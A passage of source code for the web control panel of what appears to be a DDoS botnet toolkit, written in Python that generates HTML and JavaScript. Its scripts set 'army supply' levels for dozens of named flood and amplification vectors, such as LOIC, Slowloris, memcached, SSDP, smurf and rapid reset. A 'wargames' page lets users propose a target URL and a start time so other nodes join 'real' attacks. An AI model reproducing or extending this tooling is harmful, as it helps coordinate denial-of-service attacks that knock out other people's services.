  1492. runCommandX("cmd_job_add_all")
  1493. setTimeout("Decrypt_wargames()", 2000)
  1494. }
  1495. function JobCancel(id) {
  1496. params="id="+escape(id)
  1497. runCommandX("cmd_job_cancel", params)
  1498. setTimeout("Decrypt_wargames()", 2000)
  1499. }
  1500. function JobRemoveAll(key) {
  1501. params="key="+escape(key)
  1502. runCommandX("cmd_job_remove_all", params)
  1503. setTimeout("Decrypt_wargames()", 2000)
  1504. }
  1505. function JobCancelAll() {
  1506. runCommandX("cmd_job_cancel_all")
  1507. setTimeout("Decrypt_wargames()", 2000)
  1508. }
  1509. function JobFilter(filter, key) {
  1510. params="filter="+escape(filter)+"&key="+escape(key)
  1511. runCommandX("cmd_job_filter", params)
  1512. setTimeout("Decrypt_wargames()", 2000)
  1513. }
  1514. function EditSupply(){
  1515. if(document.getElementById("supply_edit").value == "EDIT"){
  1516. document.getElementById("supply_botnet").readOnly = false;
  1517. document.getElementById("supply_loic").readOnly = false;
  1518. document.getElementById("supply_loris").readOnly = false;
  1519. document.getElementById("supply_memcached").readOnly = false;
  1520. document.getElementById("supply_chargen").readOnly = false;
  1521. document.getElementById("supply_cldap").readOnly = false;
  1522. document.getElementById("supply_ssdp").readOnly = false;
  1523. document.getElementById("supply_qotd").readOnly = false;
  1524. document.getElementById("supply_tftp").readOnly = false;
  1525. document.getElementById("supply_wsdisco").readOnly = false;
  1526. document.getElementById("supply_coap").readOnly = false;
  1527. document.getElementById("supply_mssql").readOnly = false;
  1528. document.getElementById("supply_arms").readOnly = false;
  1529. document.getElementById("supply_plex").readOnly = false;
  1530. document.getElementById("supply_netbios").readOnly = false;
  1531. document.getElementById("supply_ripv1").readOnly = false;
  1532. document.getElementById("supply_middlebox").readOnly = false;
  1533. document.getElementById("supply_rapidreset").readOnly = false;
  1534. document.getElementById("supply_slowread").readOnly = false;
  1535. document.getElementById("supply_goldeneye").readOnly = false;
  1536. document.getElementById("supply_finflood").readOnly = false;
  1537. document.getElementById("supply_ufosyn").readOnly = false;
  1538. document.getElementById("supply_spray").readOnly = false;
  1539. document.getElementById("supply_smurf").readOnly = false;
  1540. document.getElementById("supply_xmas").readOnly = false;
  1541. document.getElementById("supply_nuke").readOnly = false;
  1542. document.getElementById("supply_tachyon").readOnly = false;
  1543. document.getElementById("supply_monlist").readOnly = false;
  1544. document.getElementById("supply_fraggle").readOnly = false;
  1545. document.getElementById("supply_sniper").readOnly = false;
  1546. document.getElementById("supply_ufoack").readOnly = false;
  1547. document.getElementById("supply_uforst").readOnly = false;
  1548. document.getElementById("supply_droper").readOnly = false;
  1549. document.getElementById("supply_overlap").readOnly = false;
  1550. document.getElementById("supply_pinger").readOnly = false;
  1551. document.getElementById("supply_ufoudp").readOnly = false;
  1552. document.getElementById("supply_edit").title = "Set global army supply..."
  1553. document.getElementById("supply_edit").value = "SET"
  1554. document.getElementById("supply_edit").innerHTML = "SET!"
  1555. }else{
  1556. supply_botnet=document.getElementById("supply_botnet").value
  1557. supply_loic=document.getElementById("supply_loic").value
  1558. supply_loris=document.getElementById("supply_loris").value
  1559. supply_memcached=document.getElementById("supply_memcached").value
  1560. supply_chargen=document.getElementById("supply_chargen").value
  1561. supply_cldap=document.getElementById("supply_cldap").value
  1562. supply_ssdp=document.getElementById("supply_ssdp").value
  1563. supply_qotd=document.getElementById("supply_qotd").value
  1564. supply_tftp=document.getElementById("supply_tftp").value
  1565. supply_wsdisco=document.getElementById("supply_wsdisco").value
  1566. supply_coap=document.getElementById("supply_coap").value
  1567. supply_mssql=document.getElementById("supply_mssql").value
  1568. supply_arms=document.getElementById("supply_arms").value
  1569. supply_plex=document.getElementById("supply_plex").value
  1570. supply_netbios=document.getElementById("supply_netbios").value
  1571. supply_ripv1=document.getElementById("supply_ripv1").value
  1572. supply_middlebox=document.getElementById("supply_middlebox").value
  1573. supply_rapidreset=document.getElementById("supply_rapidreset").value
  1574. supply_slowread=document.getElementById("supply_slowread").value
  1575. supply_goldeneye=document.getElementById("supply_goldeneye").value
  1576. supply_finflood=document.getElementById("supply_finflood").value
  1577. supply_ufosyn=document.getElementById("supply_ufosyn").value
  1578. supply_spray=document.getElementById("supply_spray").value
  1579. supply_smurf=document.getElementById("supply_smurf").value
  1580. supply_xmas=document.getElementById("supply_xmas").value
  1581. supply_nuke=document.getElementById("supply_nuke").value
  1582. supply_tachyon=document.getElementById("supply_tachyon").value
  1583. supply_monlist=document.getElementById("supply_monlist").value
  1584. supply_fraggle=document.getElementById("supply_fraggle").value
  1585. supply_sniper=document.getElementById("supply_sniper").value
  1586. supply_ufoack=document.getElementById("supply_ufoack").value
  1587. supply_uforst=document.getElementById("supply_uforst").value
  1588. supply_droper=document.getElementById("supply_droper").value
  1589. supply_overlap=document.getElementById("supply_overlap").value
  1590. supply_pinger=document.getElementById("supply_pinger").value
  1591. supply_ufoudp=document.getElementById("supply_ufoudp").value
  1592. if(isNaN(parseFloat(supply_botnet)) || parseFloat(supply_botnet) < 0) {
  1593. window.alert("You need to enter a valid BOTNET supply number (int>=0)");
  1594. return
  1595. }else{
  1596. if(isNaN(parseFloat(supply_loic)) || parseFloat(supply_loic) < 0) {
  1597. window.alert("You need to enter a valid LOIC supply number (int>=0)");
  1598. return
  1599. }else{
  1600. if(isNaN(parseFloat(supply_loris)) || parseFloat(supply_loris) < 0) {
  1601. window.alert("You need to enter a valid LORIS supply number (int>=0)");
  1602. return
  1603. }else{
  1604. if(isNaN(parseFloat(supply_ufosyn)) || parseFloat(supply_ufosyn) < 0) {
  1605. window.alert("You need to enter a valid UFOSYN supply number (int>=0)");
  1606. return
  1607. }else{
  1608. if(isNaN(parseFloat(supply_spray)) || parseFloat(supply_spray) < 0) {
  1609. window.alert("You need to enter a valid SPRAY supply number (int>=0)");
  1610. return
  1611. }else{
  1612. if(isNaN(parseFloat(supply_smurf)) || parseFloat(supply_smurf) < 0) {
  1613. window.alert("You need to enter a valid SMURF supply number (int>=0)");
  1614. return
  1615. }else{
  1616. if(isNaN(parseFloat(supply_xmas)) || parseFloat(supply_xmas) < 0) {
  1617. window.alert("You need to enter a valid XMAS supply number (int>=0)");
  1618. return
  1619. }else{
  1620. if(isNaN(parseFloat(supply_nuke)) || parseFloat(supply_nuke) < 0) {
  1621. window.alert("You need to enter a valid NUKE supply number (int>=0)");
  1622. return
  1623. }else{
  1624. if(isNaN(parseFloat(supply_tachyon)) || parseFloat(supply_tachyon) < 0) {
  1625. window.alert("You need to enter a valid TACHYON supply number (int>=0)");
  1626. return
  1627. }else{
  1628. if(isNaN(parseFloat(supply_monlist)) || parseFloat(supply_monlist) < 0) {
  1629. window.alert("You need to enter a valid MONLIST supply number (int>=0)");
  1630. return
  1631. }else{
  1632. if(isNaN(parseFloat(supply_fraggle)) || parseFloat(supply_fraggle) < 0) {
  1633. window.alert("You need to enter a valid FRAGGLE supply number (int>=0)");
  1634. return
  1635. }else{
  1636. if(isNaN(parseFloat(supply_sniper)) || parseFloat(supply_sniper) < 0) {
  1637. window.alert("You need to enter a valid SNIPER supply number (int>=0)");
  1638. return
  1639. }else{
  1640. if(isNaN(parseFloat(supply_ufoack)) || parseFloat(supply_ufoack) < 0) {
  1641. window.alert("You need to enter a valid UFOACK supply number (int>=0)");
  1642. return
  1643. }else{
  1644. if(isNaN(parseFloat(supply_uforst)) || parseFloat(supply_uforst) < 0) {
  1645. window.alert("You need to enter a valid UFORST supply number (int>=0)");
  1646. return
  1647. }else{
  1648. if(isNaN(parseFloat(supply_droper)) || parseFloat(supply_droper) < 0) {
  1649. window.alert("You need to enter a valid DROPER supply number (int>=0)");
  1650. return
  1651. }else{
  1652. if(isNaN(parseFloat(supply_overlap)) || parseFloat(supply_overlap) < 0) {
  1653. window.alert("You need to enter a valid OVERLAP supply number (int>=0)");
  1654. return
  1655. }else{
  1656. if(isNaN(parseFloat(supply_pinger)) || parseFloat(supply_pinger) < 0) {
  1657. window.alert("You need to enter a valid PINGER supply number (int>=0)");
  1658. return
  1659. }else{
  1660. if(isNaN(parseFloat(supply_ufoudp)) || parseFloat(supply_ufoudp) < 0) {
  1661. window.alert("You need to enter a valid UFOUDP supply number (int>=0)");
  1662. return
  1663. }else{
  1664. document.getElementById("supply_botnet").readOnly = true;
  1665. document.getElementById("supply_loic").readOnly = true;
  1666. document.getElementById("supply_loris").readOnly = true;
  1667. document.getElementById("supply_memcached").readOnly = true;
  1668. document.getElementById("supply_chargen").readOnly = true;
  1669. document.getElementById("supply_cldap").readOnly = true;
  1670. document.getElementById("supply_ssdp").readOnly = true;
  1671. document.getElementById("supply_qotd").readOnly = true;
  1672. document.getElementById("supply_tftp").readOnly = true;
  1673. document.getElementById("supply_wsdisco").readOnly = true;
  1674. document.getElementById("supply_coap").readOnly = true;
  1675. document.getElementById("supply_mssql").readOnly = true;
  1676. document.getElementById("supply_arms").readOnly = true;
  1677. document.getElementById("supply_plex").readOnly = true;
  1678. document.getElementById("supply_netbios").readOnly = true;
  1679. document.getElementById("supply_ripv1").readOnly = true;
  1680. document.getElementById("supply_middlebox").readOnly = true;
  1681. document.getElementById("supply_rapidreset").readOnly = true;
  1682. document.getElementById("supply_slowread").readOnly = true;
  1683. document.getElementById("supply_goldeneye").readOnly = true;
  1684. document.getElementById("supply_finflood").readOnly = true;
  1685. document.getElementById("supply_ufosyn").readOnly = true;
  1686. document.getElementById("supply_spray").readOnly = true;
  1687. document.getElementById("supply_smurf").readOnly = true;
  1688. document.getElementById("supply_xmas").readOnly = true;
  1689. document.getElementById("supply_nuke").readOnly = true;
  1690. document.getElementById("supply_tachyon").readOnly = true;
  1691. document.getElementById("supply_monlist").readOnly = true;
  1692. document.getElementById("supply_fraggle").readOnly = true;
  1693. document.getElementById("supply_sniper").readOnly = true;
  1694. document.getElementById("supply_ufoack").readOnly = true;
  1695. document.getElementById("supply_uforst").readOnly = true;
  1696. document.getElementById("supply_droper").readOnly = true;
  1697. document.getElementById("supply_overlap").readOnly = true;
  1698. document.getElementById("supply_pinger").readOnly = true;
  1699. document.getElementById("supply_ufoudp").readOnly = true;
  1700. document.getElementById("supply_edit").title = "Edit global army supply..."
  1701. document.getElementById("supply_edit").value = "EDIT"
  1702. document.getElementById("supply_edit").innerHTML = "EDIT"
  1703. params="botnet="+escape(supply_botnet)+"&loic="+escape(supply_loic)+"&loris="+escape(supply_loris)+"&ufosyn="+escape(supply_ufosyn)+"&spray="+escape(supply_spray)+"&smurf="+escape(supply_smurf)+"&xmas="+escape(supply_xmas)+"&nuke="+escape(supply_nuke)+"&tachyon="+escape(supply_tachyon)+"&monlist="+escape(supply_monlist)+"&fraggle="+escape(supply_fraggle)+"&sniper="+escape(supply_sniper)+"&ufoack="+escape(supply_ufoack)+"&uforst="+escape(supply_uforst)+"&droper="+escape(supply_droper)+"&overlap="+escape(supply_overlap)+"&pinger="+escape(supply_pinger)+"&ufoudp="+escape(supply_ufoudp)+"&memcached="+escape(supply_memcached)+"&chargen="+escape(supply_chargen)+"&cldap="+escape(supply_cldap)+"&ssdp="+escape(supply_ssdp)+"&qotd="+escape(supply_qotd)+"&tftp="+escape(supply_tftp)+"&wsdisco="+escape(supply_wsdisco)+"&coap="+escape(supply_coap)+"&mssql="+escape(supply_mssql)+"&arms="+escape(supply_arms)+"&plex="+escape(supply_plex)+"&netbios="+escape(supply_netbios)+"&ripv1="+escape(supply_ripv1)+"&middlebox="+escape(supply_middlebox)+"&rapidreset="+escape(supply_rapidreset)+"&slowread="+escape(supply_slowread)+"&goldeneye="+escape(supply_goldeneye)+"&finflood="+escape(supply_finflood)
  1704. runCommandX("cmd_edit_supply",params)
  1705. setTimeout("Decrypt_wargames()", 2000)
  1706. }
  1707. }
  1708. }
  1709. }
  1710. }
  1711. }
  1712. }
  1713. }
  1714. }
  1715. }
  1716. }
  1717. }
  1718. }
  1719. }
  1720. }
  1721. }
  1722. }
  1723. }
  1724. }
  1725. }
  1726. </script>
  1727. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1728. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1729. <br>
  1730. <center>
  1731. <table cellpadding="5" cellspacing="5"><tr>
  1732. <td><a href="javascript:alert('Vnïjwvödvnh says: """ + self.ranking + """... Are you searching for some real action?. Well, this is your place...');"><img src='data:image/png;base64,"""+self.alien8_img+"""'></a></td>
  1733. <td>
  1734. <pre>This feature will allow you to propose/join some real 'wargames'.
  1735. <hr>
  1736. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='wargames_source' id='wargames_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'wargames' proposed by other motherships..." onclick="SyncWargames()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="wargames_deckey" id="wargames_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_wargames();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr><td>Your proposal:</td><td><input type="text" name="wargames_target" id="wargames_target" size="30" placeholder="http(s)://" required pattern="https?://.+"></td></tr><tr><td>Date time (UTC):</td><td><input type="text" name="wargames_estimated" id="wargames_estimated" size="20" placeholder="dd-mm-yyyy hh:mm:ss" required pattern=".+-.+-.+ .+:.+:.+"> (ex: """+str(now)+""")</td></tr><tr><td>Blackhole/IP:</td><td><input type='text' name='wargames_source2' id='wargames_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="wargames_enckey" id="wargames_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your proposal to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SEND!</button></pre></td></tr></table>
  1737. <hr><br>
  1738. <u>WARGAMES</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+wargames_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
  1739. def generate_links(self):
  1740. with open(self.links_file) as f:
  1741. for line in f:
  1742. line = line.strip()
  1743. f.close()
  1744. links_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>CREATION:</u></td><td align='center'><u>TOPIC:</u></td><td align='center'><u>URL:</u></td></tr>"
  1745. for m in self.list_links: # list = creation, topic, url
  1746. if links_msg_sep in m:
  1747. m = m.split(links_msg_sep)
  1748. link_creation = m[0][0:12] # creation date
  1749. link_creation = ''.join(random.sample(link_creation,len(link_creation))) # creation date (obfuscation)
  1750. link_topic = m[1][0:12] # topic
  1751. link_topic = ''.join(random.sample(link_topic,len(link_topic))) # topic (obfuscation)
  1752. link_url = m[2][0:12] # url
  1753. link_url = ''.join(random.sample(link_url,len(link_url))) # link url (obfuscation)
  1754. links_table += "<tr><td align='center'>"+str(link_creation)+"</td><td align='center'>"+str(link_topic)+"</td><td align='center'>"+str(link_url)+"</td></tr>"
  1755. links_table += "</table>"
  1756. mother_link = "<div id='links_panel_enc' style='display:block'>"
  1757. links_table = mother_link + links_table + "</div>"
  1758. return links_table
  1759. def generate_streams(self):
  1760. with open(self.streams_file) as f:
  1761. for line in f:
  1762. line = line.strip()
  1763. f.close()
  1764. streams_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>CREATION:</u></td><td align='center'><u>TOPIC:</u></td><td align='center'><u>STREAM:</u></td></tr>"
  1765. for m in self.list_streams: # list = creation, topic, stream
  1766. if streams_msg_sep in m:
  1767. m = m.split(streams_msg_sep)
  1768. stream_creation = m[0][0:12] # creation date
  1769. strean_creation = ''.join(random.sample(stream_creation,len(stream_creation))) # creation date (obfuscation)
  1770. stream_topic = m[1][0:12] # topic
  1771. stream_topic = ''.join(random.sample(stream_topic,len(stream_topic))) # topic (obfuscation)
  1772. stream_url = m[2][0:12] # url
  1773. stream_url = ''.join(random.sample(stream_url,len(stream_url))) # stream url (obfuscation)
  1774. streams_table += "<tr><td align='center'>"+str(stream_creation)+"</td><td align='center'>"+str(stream_topic)+"</td><td align='center'>"+str(stream_url)+"</td></tr>"
  1775. streams_table += "</table>"
  1776. mother_stream = "<div id='streams_panel_enc' style='display:block'>"
  1777. streams_table = mother_stream + streams_table + "</div>"
  1778. return streams_table
  1779. def generate_games(self):
  1780. games_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>NAME:</u></td><td align='center'><u>DESCRIPTION:</u></td><td><u>ACTION:</u></td></tr>"
  1781. with open(self.games_file) as f:
  1782. for line in f:
  1783. line = line.strip()
  1784. if games_msg_sep in line:
  1785. line = line.split(games_msg_sep)
  1786. game_name = line[0] # name
  1787. game_description = line[1] # description
  1788. games_table += "<tr><td align='center'><a onClick='javascript:PlayGame()'>"+str(game_name)+"</a></td><td align='center'>"+str(game_description)+"</td><td align='center'><button id='play_game' onclick='PlayGame();return false;'>PLAY!</button></td></tr>"
  1789. games_table += "</table>"
  1790. f.close()
  1791. mother_games = "<div id='games_panel_enc' style='display:block'>"
  1792. games_table = mother_games + games_table + "</div>"
  1793. return games_table
  1794. def generate_browser(self):
  1795. browser_table = "<iframe width='90%' height='600px' src='"+browser_init_page+"'></frame>"
  1796. return browser_table
  1797. def generate_globalnet(self):
  1798. with open(self.globalnet_file) as f:
  1799. for line in f:
  1800. line = line.strip()
  1801. f.close()
  1802. globalnet_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>OWNER:</u></td><td align='center'><u>COMMENT:</u></td><td align='center'><u>WARPING:</u></td></tr>"
  1803. for m in self.list_globalnet: # list = owner, comment, warping, ip
  1804. if globalnet_msg_sep in m:
  1805. m = m.split(globalnet_msg_sep)
  1806. globalnet_owner = m[0][0:12] # owner
  1807. globalnet_owner = ''.join(random.sample(globalnet_owner,len(globalnet_owner))) # owner (obfuscation)
  1808. globalnet_comment = m[1][0:32] # comment
  1809. globalnet_comment = ''.join(random.sample(globalnet_comment,len(globalnet_comment))) # globalnet (obfuscation)
  1810. globalnet_warp = m[2][0:12] # warp
  1811. globalnet_warp = ''.join(random.sample(globalnet_warp,len(globalnet_warp))) # warp (obfuscation)
  1812. globalnet_table += "<tr><td align='center'>"+str(globalnet_owner)+"</td><td align='center'>"+str(globalnet_comment)+"</td><td align='center'>"+str(globalnet_warp)+"</td></tr>"
  1813. globalnet_table += "</table>"
  1814. mother_globalnet = "<div id='globalnet_panel_enc' style='display:block'>"
  1815. globalnet_table = mother_globalnet + globalnet_table + "</div>"
  1816. return globalnet_table
  1817. def html_links(self):
  1818. l = time.ctime(os.path.getmtime(self.links_file)) # get last modified time
  1819. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  1820. links_table = self.generate_links()
  1821. return self.pages["/header"] + """<script language="javascript">
  1822. function Decrypt_links(){
  1823. link_deckey=document.getElementById("link_deckey").value
  1824. if(link_deckey == "") {
  1825. window.alert("You need to enter a valid key (provided by someone)");
  1826. return
  1827. }else{
  1828. params="link_deckey="+escape(link_deckey)
  1829. runCommandX("cmd_decrypt_links",params)
  1830. panel_enc = document.getElementById("links_panel_enc").style.display
  1831. if(panel_enc == "block"){
  1832. panel_enc = document.getElementById("links_panel_enc").style.display = 'none';
  1833. }
  1834. }
  1835. }
  1836. function Ranking() {
  1837. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1838. }
  1839. function Grid() {
  1840. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1841. }
  1842. function Board() {
  1843. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1844. }
  1845. function Stats() {
  1846. var win_stats = window.open("stats","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1847. }
  1848. function Streams() {
  1849. var win_streams = window.open("streams","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1850. }
  1851. function SyncLinks(){
  1852. link_source=document.getElementById("link_source").value
  1853. if(link_source == "") {
  1854. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1855. return
  1856. }else{
  1857. params="link_source="+escape(link_source)
  1858. runCommandX("cmd_sync_links",params)
  1859. setTimeout("location.reload()", 10000)
  1860. }
  1861. }
  1862. function LinkFilter(filter, key) {
  1863. params="filter="+escape(filter)+"&key="+escape(key)
  1864. runCommandX("cmd_link_filter", params)
  1865. setTimeout("Decrypt_links()", 2000)
  1866. }
  1867. function Send() {
  1868. link_source2=document.getElementById("link_source2").value
  1869. link_enckey=document.getElementById("link_enckey").value
  1870. link_topic=document.getElementById("link_topic").value
  1871. link_url=document.getElementById("link_url").value
  1872. if(link_source2 == "") {
  1873. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1874. return
  1875. }else{
  1876. if(link_enckey == "") {
  1877. window.alert("You need to enter a valid key (provided by someone)");
  1878. return
  1879. }else{
  1880. if(link_url == "http://127.0.0.1") {
  1881. window.alert("You need to enter a valid link");
  1882. return
  1883. }else{
  1884. params="link_source2="+escape(link_source2)+"&link_enckey="+escape(link_enckey)+"&link_topic="+escape(link_topic)+"&link_url="+escape(link_url)
  1885. runCommandX("cmd_transfer_link",params)
  1886. setTimeout("location.reload()", 10000)
  1887. }
  1888. }
  1889. }
  1890. }
  1891. </script>
  1892. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1893. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1894. <br>
  1895. <center>
  1896. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  1897. <td><a href="javascript:alert('Armada KATRAAZKA says: SSSSssshshhhh! """ + self.ranking + """,... this is our ship-library. You can take and leave links, without any price.');"><img src='data:image/png;base64,"""+self.alien10_img+"""'></a></td>
  1898. <td>DATA/LINKS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit ship stats..." onclick="Stats()">VISIT STATS!</button> <button title="Visit global.streams..." onclick="Streams()">VISIT STREAMS!</button></td>
  1899. </tr></table>
  1900. <hr><br>
  1901. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='link_source' id='link_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'links' proposed by other motherships..." onclick="SyncLinks()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="link_deckey" id="link_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_links();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr><td>TOPIC:</td><td> <select id="link_topic">
  1902. <option value="OFF" selected>OFF - NO-Topic</option>
  1903. <option value="WKP">WKP - Wikipedia + Knowledge</option>
  1904. <option value="NSA">NSA - National Space/Security Agency</option>
  1905. <option value="DPW">DPW - Deep Web / Dark Web</option>
  1906. <option value="HCP">HCP - Hacking / Cracking / Phreaking</option>
  1907. <option value="HAR">HAR - Hardware / Electronics</option>
  1908. <option value="FPR">FPR - Freedom / Privacy / Rights</option>
  1909. <option value="HAR">SEC - Hardering / C.R.Y.P.T.O</option>
  1910. <option value="APT">APT - ArT.Trolling / #PSY-OPS</option>
  1911. <option value="SPM">SPM - Propaganda + SPAM</option>
  1912. <option value="SCI">SCI - SCience + phi</option>
  1913. <option value="UFO">UFO - UFONET</option>
  1914. </select></td></tr><tr><td>Your link:</td><td><input type="text" name="link_url" id="link_url" size="90" placeholder="http(s)://" required pattern="https?://.+"></td>
  1915. </tr><tr><td>Blackhole/IP:</td><td><input type='text' name='link_source2' id='link_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="link_enckey" id="link_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your link to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SEND!</button></pre></td></tr></table><br><br>
  1916. <hr><br>
  1917. <u>DATA.LINKS</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+links_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
  1918. def html_streams(self):
  1919. l = time.ctime(os.path.getmtime(self.streams_file)) # get last modified time
  1920. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  1921. streams_table = self.generate_streams()
  1922. return self.pages["/header"] + """<script language="javascript">
  1923. function Decrypt_streams(){
  1924. stream_deckey=document.getElementById("stream_deckey").value
  1925. if(stream_deckey == "") {
  1926. window.alert("You need to enter a valid key (provided by someone)");
  1927. return
  1928. }else{
  1929. params="stream_deckey="+escape(stream_deckey)
  1930. runCommandX("cmd_decrypt_streams",params)
  1931. panel_enc = document.getElementById("streams_panel_enc").style.display
  1932. if(panel_enc == "block"){
  1933. panel_enc = document.getElementById("streams_panel_enc").style.display = 'none';
  1934. }
  1935. }
  1936. }
  1937. function Ranking() {
  1938. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1939. }
  1940. function Grid() {
  1941. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1942. }
  1943. function Board() {
  1944. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1945. }
  1946. function Stats() {
  1947. var win_stats = window.open("stats","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1948. }
  1949. function Links() {
  1950. var win_links = window.open("links","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1951. }
  1952. function SyncStreams(){
  1953. stream_source=document.getElementById("stream_source").value
  1954. if(stream_source == "") {
  1955. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1956. return
  1957. }else{
  1958. params="stream_source="+escape(stream_source)
  1959. runCommandX("cmd_sync_streams",params)
  1960. setTimeout("location.reload()", 10000)
  1961. }
  1962. }
  1963. function StreamFilter(filter, key) {
  1964. params="filter="+escape(filter)+"&key="+escape(key)
  1965. runCommandX("cmd_stream_filter", params)
  1966. setTimeout("Decrypt_streams()", 2000)
  1967. }
  1968. function Send() {
  1969. stream_source2=document.getElementById("stream_source2").value
  1970. stream_enckey=document.getElementById("stream_enckey").value
  1971. stream_topic=document.getElementById("stream_topic").value
  1972. stream_url=document.getElementById("stream_url").value
  1973. if(stream_source2 == "") {
  1974. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1975. return
  1976. }else{
  1977. if(stream_enckey == "") {
  1978. window.alert("You need to enter a valid key (provided by someone)");
  1979. return
  1980. }else{
  1981. if (stream_url.startsWith("https://www.youtube.com/watch?v=") == false){
  1982. window.alert("You need to enter a valid (only Youtube is supported) URL stream (ex: https://www.youtube.com/watch?v=xxxxxxxxxxx)");
  1983. return
  1984. }else{
  1985. params="stream_source2="+escape(stream_source2)+"&stream_enckey="+escape(stream_enckey)+"&stream_topic="+escape(stream_topic)+"&stream_url="+escape(stream_url)
  1986. runCommandX("cmd_transfer_stream",params)
  1987. setTimeout("location.reload()", 10000)
  1988. }
  1989. }
  1990. }
  1991. }
  1992. function PlayStream(stream_num) {
  1993. var str1 = "play_button_";
  1994. var str2 = stream_num;
  1995. var play_button_id = str1.concat(str2);
  1996. var str3 = "video_";
  1997. var video_play = str3.concat(str2);
  1998. video_id = document.getElementById(play_button_id).value;
  1999. document.getElementById(play_button_id).style.display = 'none';
  2000. document.getElementById(video_play).style.display = 'block';
  2001. document.getElementById(video_play).innerHTML = "<div id='player'></div>";
  2002. var tag = document.createElement('script');
  2003. tag.src = "https://www.youtube.com/iframe_api";
  2004. var firstScriptTag = document.getElementsByTagName('script')[0];
  2005. firstScriptTag.parentNode.insertBefore(tag, firstScriptTag);
  2006. }
  2007. var player;
  2008. function onYouTubeIframeAPIReady() {
  2009. player = new YT.Player('player', {
  2010. height: '390',
  2011. width: '640',
  2012. videoId: video_id,
  2013. events: {
  2014. 'onReady': onPlayerReady,
  2015. 'onStateChange': onPlayerStateChange
  2016. }
  2017. });
  2018. }
  2019. function onPlayerReady(event) {
  2020. event.target.playVideo();
  2021. }
  2022. var done = false;
  2023. function onPlayerStateChange(event) {
  2024. if (event.data == YT.PlayerState.PLAYING && !done) {
  2025. done = true;
  2026. }
  2027. if (event.data === 0) {
  2028. document.getElementById(play_button_id).style.display = 'block';
  2029. document.getElementById(video_play).style.display = 'none';
  2030. }
  2031. }
  2032. function stopVideo() {
  2033. player.stopVideo();
  2034. document.getElementById(play_button_id).style.display = 'block';
  2035. document.getElementById(video_play).style.display = 'none';
  2036. }
  2037. </script>
